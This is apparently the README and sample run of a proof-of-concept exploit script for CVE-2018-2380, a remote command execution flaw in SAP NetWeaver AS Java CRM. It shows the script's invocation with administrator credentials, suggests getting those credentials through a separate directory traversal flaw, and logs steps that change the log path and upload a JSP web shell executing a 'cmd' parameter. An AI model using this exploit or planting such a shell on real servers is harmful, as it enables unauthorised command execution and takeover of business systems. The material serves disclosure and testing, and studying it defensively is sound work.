
PoC of Remote Command Execution via Log injection on SAP NetWeaver AS JAVA CRM
PoC of Remote Command Execution via Log injection on SAP NetWeaver AS JAVA CRM Script usage example
python crm_rce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true
Where --host is a SAP server IP --port SAP NetWeaver AS Java port username and password of SAP administrator you can get using SAP Redwood directory traversal vulnerability.
example script usage output
C:\exploits\SAP>crm_rce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true
_______ _______ _______ _______ _______ _______ _
( ____ \( ____ )( ____ )( ____ \( ____ \( ___ )( ( /|
| ( \/| ( )|| ( )|| ( \/| ( \/| ( ) || \ ( |
| (__ | (____)|| (____)|| (_____ | | | (___) || \ | |
| __) | __)| _____)(_____ )| | | ___ || (\ \) |
| ( | (\ ( | ( ) || | | ( ) || | \ |
| (____/\| ) \ \__| ) /\____) || (____/\| ) ( || ) \ |
(_______/|/ \__/|/ \_______)(_______/|/ \||/ )_)
Vahagn @vah_13 Vardanian
Bob @NewFranny
Mathieu @gelim
CVE-2018-2380
[!] Try to get RCE using log injection
[!] Get j_salt token for requests
[!] Login to the SAP portal
[!] Change log path
[!] Upload "Runtime.getRuntime().exec(request.getParameter("cmd")) " shell to https://127.0.0.1:50001/ERPScan_shell_31275.0.jsp?cmd=ipconfig
[!] Restore logs path to ./default_log_name.log
[!] Enjoy!
C:\exploits\SAP>